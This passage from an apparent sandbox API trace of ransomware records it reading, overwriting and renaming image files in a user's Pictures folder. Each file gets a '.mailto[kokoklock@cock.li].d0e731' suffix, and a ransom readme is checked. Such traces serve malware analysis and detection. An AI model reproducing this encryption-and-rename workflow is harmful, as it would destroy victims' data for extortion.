[0169.841] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3046b08) returned 1 [0169.841] WriteFile (in: hFile=0x370, lpBuffer=0x2f88390*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1136f7a0, lpOverlapped=0x0 | out: lpBuffer=0x2f88390*, lpNumberOfBytesWritten=0x1136f7a0*=0x8, lpOverlapped=0x0) returned 1 [0169.841] WriteFile (in: hFile=0x370, lpBuffer=0x1136f7b8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1136f7a0, lpOverlapped=0x0 | out: lpBuffer=0x1136f7b8*, lpNumberOfBytesWritten=0x1136f7a0*=0x4, lpOverlapped=0x0) returned 1 [0169.841] WriteFile (in: hFile=0x370, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1136f7a0, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x1136f7a0*=0x4, lpOverlapped=0x0) returned 1 [0169.841] WriteFile (in: hFile=0x370, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1136f7a0, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x1136f7a0*=0x6c, lpOverlapped=0x0) returned 1 [0169.841] WriteFile (in: hFile=0x370, lpBuffer=0x2f88520*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1136f7a0, lpOverlapped=0x0 | out: lpBuffer=0x2f88520*, lpNumberOfBytesWritten=0x1136f7a0*=0x20, lpOverlapped=0x0) returned 1 [0169.841] WriteFile (in: hFile=0x370, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1136f7a0, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x1136f7a0*=0x4, lpOverlapped=0x0) returned 1 [0169.841] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88520) returned 1 [0169.841] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88368) returned 1 [0169.841] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88390) returned 1 [0169.842] CloseHandle (hObject=0x370) returned 1 [0169.842] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xd4) returned 0x2f97ad8 [0169.842] wcscpy (in: _Dest=0x2f97ad8, _Source="C:\\Users\\FD1HVy\\Pictures\\IH7LMh9XWm.gif.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\IH7LMh9XWm.gif.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\IH7LMh9XWm.gif.mailto[kokoklock@cock.li].d0e731" [0169.842] wcscat (in: _Dest=0x2f97ad8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\IH7LMh9XWm.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\IH7LMh9XWm.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0169.842] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\IH7LMh9XWm.gif.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\ih7lmh9xwm.gif.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\IH7LMh9XWm.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\ih7lmh9xwm.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0169.842] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\IH7LMh9XWm.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0169.843] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97ad8) returned 1 [0169.843] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\IH7LMh9XWm.gif.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0169.843] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x58) returned 0x2fa4300 [0169.843] wcscpy (in: _Dest=0x2fa4300, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0169.843] wcscat (in: _Dest=0x2fa4300, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0169.843] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0x20 [0169.843] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4300) returned 1 [0169.843] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe3860) returned 1 [0169.843] RtlExitUserThread (Status=0x1) Thread: id = 1867 os_tid = 0x610 [0169.844] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\JU6O1UFyFQyHFg1.bmp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\ju6o1ufyfqyhfg1.bmp.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0169.845] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\JU6O1UFyFQyHFg1.bmp.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0169.845] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\JU6O1UFyFQyHFg1.bmp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\ju6o1ufyfqyhfg1.bmp.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0169.845] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x113efee0 | out: lpFileSize=0x113efee0*=17396) returned 1 [0169.845] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x43f0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.845] ReadFile (in: hFile=0x370, lpBuffer=0x113efeb4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x113efeb0, lpOverlapped=0x0 | out: lpBuffer=0x113efeb4*, lpNumberOfBytesRead=0x113efeb0*=0x4, lpOverlapped=0x0) returned 1 [0169.846] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.846] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f884a8 [0169.846] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88520 [0169.846] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88368 [0169.846] NtQuerySystemTime (in: CurrentTime=0x113efe8c | out: CurrentTime=0x113efe8c*=132121213271626986) returned 0x0 [0169.846] RtlRandom (in: Seed=0x113efe98 | out: Seed=0x113efe98) returned 0x1b36eaa9 [0169.846] RtlRandom (in: Seed=0x113efe98 | out: Seed=0x113efe98) returned 0x3be7a5aa [0169.846] RtlRandom (in: Seed=0x113efe98 | out: Seed=0x113efe98) returned 0x6795bace [0169.846] RtlRandom (in: Seed=0x113efe98 | out: Seed=0x113efe98) returned 0xd1615155 [0169.846] RtlRandom (in: Seed=0x113efe98 | out: Seed=0x113efe98) returned 0x774d6ea [0169.846] RtlRandom (in: Seed=0x113efe98 | out: Seed=0x113efe98) returned 0xd93c032d [0169.846] RtlRandom (in: Seed=0x113efe98 | out: Seed=0x113efe98) returned 0x2290a48f [0169.846] RtlRandom (in: Seed=0x113efe98 | out: Seed=0x113efe98) returned 0x8ff72c7 [0169.846] RtlRandom (in: Seed=0x113efe98 | out: Seed=0x113efe98) returned 0x48bf03e7 [0169.846] RtlRandom (in: Seed=0x113efe98 | out: Seed=0x113efe98) returned 0x23e467e0 [0169.846] RtlRandom (in: Seed=0x113efe98 | out: Seed=0x113efe98) returned 0xa17c0c61 [0169.846] RtlRandom (in: Seed=0x113efe98 | out: Seed=0x113efe98) returned 0x4966e22c [0169.846] RtlRandom (in: Seed=0x113efe98 | out: Seed=0x113efe98) returned 0x7341e657 [0169.846] RtlRandom (in: Seed=0x113efe98 | out: Seed=0x113efe98) returned 0xfd69cfe0 [0169.846] RtlRandom (in: Seed=0x113efe98 | out: Seed=0x113efe98) returned 0x474c86cf [0169.847] RtlRandom (in: Seed=0x113efe98 | out: Seed=0x113efe98) returned 0x9b0f3f55 [0169.847] RtlRandom (in: Seed=0x113efe98 | out: Seed=0x113efe98) returned 0xcf21ce3c [0169.847] RtlRandom (in: Seed=0x113efe98 | out: Seed=0x113efe98) returned 0xf97b6a8a [0169.847] RtlRandom (in: Seed=0x113efe98 | out: Seed=0x113efe98) returned 0xdc70f6bd [0169.847] RtlRandom (in: Seed=0x113efe98 | out: Seed=0x113efe98) returned 0x43e9f092 [0169.847] RtlRandom (in: Seed=0x113efe98 | out: Seed=0x113efe98) returned 0x6eb6f9a8 [0169.847] RtlRandom (in: Seed=0x113efe98 | out: Seed=0x113efe98) returned 0x1c4fe684 [0169.847] RtlRandom (in: Seed=0x113efe98 | out: Seed=0x113efe98) returned 0xc06b8e27 [0169.847] RtlRandom (in: Seed=0x113efe98 | out: Seed=0x113efe98) returned 0x1356fd71 [0169.847] RtlRandom (in: Seed=0x113efe98 | out: Seed=0x113efe98) returned 0x17a15b8b [0169.847] RtlRandom (in: Seed=0x113efe98 | out: Seed=0x113efe98) returned 0x2b5f9d53 [0169.847] RtlRandom (in: Seed=0x113efe98 | out: Seed=0x113efe98) returned 0xaaf71de1 [0169.847] RtlRandom (in: Seed=0x113efe98 | out: Seed=0x113efe98) returned 0x710a41e5 [0169.847] RtlRandom (in: Seed=0x113efe98 | out: Seed=0x113efe98) returned 0xd882e6cd [0169.847] RtlRandom (in: Seed=0x113efe98 | out: Seed=0x113efe98) returned 0xf81f7da5 [0169.847] RtlRandom (in: Seed=0x113efe98 | out: Seed=0x113efe98) returned 0x1d7d60f4 [0169.847] RtlRandom (in: Seed=0x113efe98 | out: Seed=0x113efe98) returned 0x3e978db6 [0169.857] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88390 [0169.859] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96dc8 [0169.859] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f883b8 [0169.859] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96dc8) returned 1 [0169.859] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f884a8) returned 1 [0169.859] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3046b08 [0169.859] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.859] ReadFile (in: hFile=0x370, lpBuffer=0x3046b08, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x113efe64, lpOverlapped=0x0 | out: lpBuffer=0x3046b08*, lpNumberOfBytesRead=0x113efe64*=0x4096, lpOverlapped=0x0) returned 1 [0169.859] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.859] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f877d0 [0169.859] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96c60 [0169.859] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f884a8 [0169.859] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f884a8) returned 1 [0169.860] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x304aba8 [0169.860] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f884a8 [0169.860] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88818 [0169.860] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88818) returned 1 [0169.860] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96c60) returned 1 [0169.860] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f877d0) returned 1 [0169.860] WriteFile (in: hFile=0x370, lpBuffer=0x304aba8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x113efe64, lpOverlapped=0x0 | out: lpBuffer=0x304aba8*, lpNumberOfBytesWritten=0x113efe64*=0x4096, lpOverlapped=0x0) returned 1 [0169.860] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x304aba8) returned 1 [0169.860] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x43f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.860] WriteFile (in: hFile=0x370, lpBuffer=0x2f884a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x113efe9c, lpOverlapped=0x0 | out: lpBuffer=0x2f884a8*, lpNumberOfBytesWritten=0x113efe9c*=0x20, lpOverlapped=0x0) returned 1 [0169.861] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f884a8) returned 1 [0169.861] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3046b08) returned 1 [0169.861] WriteFile (in: hFile=0x370, lpBuffer=0x2f883b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x113efeb0, lpOverlapped=0x0 | out: lpBuffer=0x2f883b8*, lpNumberOfBytesWritten=0x113efeb0*=0x8, lpOverlapped=0x0) returned 1 [0169.861] WriteFile (in: hFile=0x370, lpBuffer=0x113efec8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x113efeb0, lpOverlapped=0x0 | out: lpBuffer=0x113efec8*, lpNumberOfBytesWritten=0x113efeb0*=0x4, lpOverlapped=0x0) returned 1 [0169.861] WriteFile (in: hFile=0x370, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x113efeb0, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x113efeb0*=0x4, lpOverlapped=0x0) returned 1 [0169.861] WriteFile (in: hFile=0x370, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x113efeb0, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x113efeb0*=0x6c, lpOverlapped=0x0) returned 1 [0169.861] WriteFile (in: hFile=0x370, lpBuffer=0x2f88520*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x113efeb0, lpOverlapped=0x0 | out: lpBuffer=0x2f88520*, lpNumberOfBytesWritten=0x113efeb0*=0x20, lpOverlapped=0x0) returned 1 [0169.861] WriteFile (in: hFile=0x370, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x113efeb0, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x113efeb0*=0x4, lpOverlapped=0x0) returned 1 [0169.862] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88520) returned 1 [0169.862] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88390) returned 1 [0169.862] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f883b8) returned 1 [0169.862] CloseHandle (hObject=0x370) returned 1 [0169.862] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xde) returned 0x2f98a60 [0169.862] wcscpy (in: _Dest=0x2f98a60, _Source="C:\\Users\\FD1HVy\\Pictures\\JU6O1UFyFQyHFg1.bmp.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\JU6O1UFyFQyHFg1.bmp.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\JU6O1UFyFQyHFg1.bmp.mailto[kokoklock@cock.li].d0e731" [0169.862] wcscat (in: _Dest=0x2f98a60, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\JU6O1UFyFQyHFg1.bmp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\JU6O1UFyFQyHFg1.bmp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0169.862] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\JU6O1UFyFQyHFg1.bmp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\ju6o1ufyfqyhfg1.bmp.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\JU6O1UFyFQyHFg1.bmp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\ju6o1ufyfqyhfg1.bmp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0169.863] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\JU6O1UFyFQyHFg1.bmp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0169.863] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f98a60) returned 1 [0169.863] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\JU6O1UFyFQyHFg1.bmp.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0169.863] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x58) returned 0x2fa4300 [0169.863] wcscpy (in: _Dest=0x2fa4300, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0169.863] wcscat (in: _Dest=0x2fa4300, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0169.863] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0x20 [0169.863] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4300) returned 1 [0169.863] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fedd00) returned 1 [0169.863] RtlExitUserThread (Status=0x1) Thread: id = 1868 os_tid = 0xcb4 [0169.866] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\lSyelTg7.bmp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\lsyeltg7.bmp.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0169.866] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\lSyelTg7.bmp.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0169.867] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\lSyelTg7.bmp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\lsyeltg7.bmp.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0169.867] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x1146fce0 | out: lpFileSize=0x1146fce0*=76240) returned 1 [0169.867] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x129cc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.867] ReadFile (in: hFile=0x370, lpBuffer=0x1146fcb4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1146fcb0, lpOverlapped=0x0 | out: lpBuffer=0x1146fcb4*, lpNumberOfBytesRead=0x1146fcb0*=0x4, lpOverlapped=0x0) returned 1 [0169.868] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.868] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f884a8 [0169.868] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88520 [0169.868] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88390 [0169.868] NtQuerySystemTime (in: CurrentTime=0x1146fc8c | out: CurrentTime=0x1146fc8c*=132121213271782998) returned 0x0 [0169.868] RtlRandom (in: Seed=0x1146fc98 | out: Seed=0x1146fc98) returned 0xe68a267c [0169.868] RtlRandom (in: Seed=0x1146fc98 | out: Seed=0x1146fc98) returned 0xad7504 [0169.868] RtlRandom (in: Seed=0x1146fc98 | out: Seed=0x1146fc98) returned 0xdcde09e0 [0169.868] RtlRandom (in: Seed=0x1146fc98 | out: Seed=0x1146fc98) returned 0x74a6552e [0169.868] RtlRandom (in: Seed=0x1146fc98 | out: Seed=0x1146fc98) returned 0xbe46ea7d [0169.868] RtlRandom (in: Seed=0x1146fc98 | out: Seed=0x1146fc98) returned 0x6a2a19da [0169.868] RtlRandom (in: Seed=0x1146fc98 | out: Seed=0x1146fc98) returned 0xad6b18e6 [0169.868] RtlRandom (in: Seed=0x1146fc98 | out: Seed=0x1146fc98) returned 0xb3178b61 [0169.869] RtlRandom (in: Seed=0x1146fc98 | out: Seed=0x1146fc98) returned 0xd889232 [0169.869] RtlRandom (in: Seed=0x1146fc98 | out: Seed=0x1146fc98) returned 0x675d45cf [0169.869] RtlRandom (in: Seed=0x1146fc98 | out: Seed=0x1146fc98) returned 0xd34165f9 [0169.869] RtlRandom (in: Seed=0x1146fc98 | out: Seed=0x1146fc98) returned 0x288b537e [0169.869] RtlRandom (in: Seed=0x1146fc98 | out: Seed=0x1146fc98) returned 0x59f097cf [0169.869] RtlRandom (in: Seed=0x1146fc98 | out: Seed=0x1146fc98) returned 0xe3d43ca8 [0169.869] RtlRandom (in: Seed=0x1146fc98 | out: Seed=0x1146fc98) returned 0xf753cbfa [0169.869] RtlRandom (in: Seed=0x1146fc98 | out: Seed=0x1146fc98) returned 0x895f614d [0169.869] RtlRandom (in: Seed=0x1146fc98 | out: Seed=0x1146fc98) returned 0x95a22d24 [0169.869] RtlRandom (in: Seed=0x1146fc98 | out: Seed=0x1146fc98) returned 0xd8e69479 [0169.869] RtlRandom (in: Seed=0x1146fc98 | out: Seed=0x1146fc98) returned 0xee65213e [0169.869] RtlRandom (in: Seed=0x1146fc98 | out: Seed=0x1146fc98) returned 0x6231430 [0169.869] RtlRandom (in: Seed=0x1146fc98 | out: Seed=0x1146fc98) returned 0x25992111 [0169.869] RtlRandom (in: Seed=0x1146fc98 | out: Seed=0x1146fc98) returned 0xeb56f7ca [0169.869] RtlRandom (in: Seed=0x1146fc98 | out: Seed=0x1146fc98) returned 0xb17da290 [0169.869] RtlRandom (in: Seed=0x1146fc98 | out: Seed=0x1146fc98) returned 0x947e035b [0169.869] RtlRandom (in: Seed=0x1146fc98 | out: Seed=0x1146fc98) returned 0x35e4a08b [0169.869] RtlRandom (in: Seed=0x1146fc98 | out: Seed=0x1146fc98) returned 0x39344fc0 [0169.869] RtlRandom (in: Seed=0x1146fc98 | out: Seed=0x1146fc98) returned 0xe51421df [0169.869] RtlRandom (in: Seed=0x1146fc98 | out: Seed=0x1146fc98) returned 0x58762f3a [0169.869] RtlRandom (in: Seed=0x1146fc98 | out: Seed=0x1146fc98) returned 0xc269be51 [0169.869] RtlRandom (in: Seed=0x1146fc98 | out: Seed=0x1146fc98) returned 0x2872b998 [0169.869] RtlRandom (in: Seed=0x1146fc98 | out: Seed=0x1146fc98) returned 0x52685540 [0169.869] RtlRandom (in: Seed=0x1146fc98 | out: Seed=0x1146fc98) returned 0xcecad433 [0169.878] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f883b8 [0169.880] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96dc8 [0169.880] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88598 [0169.880] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96dc8) returned 1 [0169.881] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f884a8) returned 1 [0169.881] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3046b08 [0169.881] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.881] ReadFile (in: hFile=0x370, lpBuffer=0x3046b08, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1146fc64, lpOverlapped=0x0 | out: lpBuffer=0x3046b08*, lpNumberOfBytesRead=0x1146fc64*=0x4096, lpOverlapped=0x0) returned 1 [0169.881] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.881] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f877d0 [0169.881] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96c60 [0169.881] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f884a8 [0169.881] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f884a8) returned 1 [0169.882] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x304aba8 [0169.882] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f884a8 [0169.882] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88840 [0169.882] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88840) returned 1 [0169.882] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96c60) returned 1 [0169.882] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f877d0) returned 1 [0169.882] WriteFile (in: hFile=0x370, lpBuffer=0x304aba8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1146fc64, lpOverlapped=0x0 | out: lpBuffer=0x304aba8*, lpNumberOfBytesWritten=0x1146fc64*=0x4096, lpOverlapped=0x0) returned 1 [0169.883] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x304aba8) returned 1 [0169.883] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x129d0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.883] WriteFile (in: hFile=0x370, lpBuffer=0x2f884a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1146fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f884a8*, lpNumberOfBytesWritten=0x1146fc9c*=0x20, lpOverlapped=0x0) returned 1 [0169.883] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f884a8) returned 1 [0169.883] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3046b08) returned 1 [0169.883] WriteFile (in: hFile=0x370, lpBuffer=0x2f88598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1146fcb0, lpOverlapped=0x0 | out: lpBuffer=0x2f88598*, lpNumberOfBytesWritten=0x1146fcb0*=0x8, lpOverlapped=0x0) returned 1 [0169.884] WriteFile (in: hFile=0x370, lpBuffer=0x1146fcc8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1146fcb0, 